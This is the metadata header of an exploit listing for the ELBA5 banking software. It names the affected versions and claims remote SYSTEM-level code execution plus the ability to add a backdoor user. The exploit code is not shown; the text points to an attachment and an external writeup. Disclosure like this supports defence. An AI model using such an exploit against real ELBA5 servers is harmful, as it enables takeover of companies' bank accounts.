# Date: 2018-11-16
# Exploit Author: Florian Bogner
# Vendor Homepage: https://www.elba.at
# Vulnerable Software: https://www.elba.at/eBusiness/01_template1/1206507788612244132-1206515595789049657_1206515641959948315-1292519691128454196-NA-38-NA.html
# Version: up to 5.8.0
# Tested on: any Windows OS
# Full Writeup: https://bogner.sh/2018/11/0-day-in-elba5s-network-installation-overtaking-your-companys-bank-account/
# Summary: This exploit has been tested against ELBA5 version 5.7.1 to 5.8.0. It can be used to remotely obtain code
# execution on the ELBA5 server with full SYSTEM level permissions. Additionally, a backdoor user can be added
Please see attachment for the full python exploit.
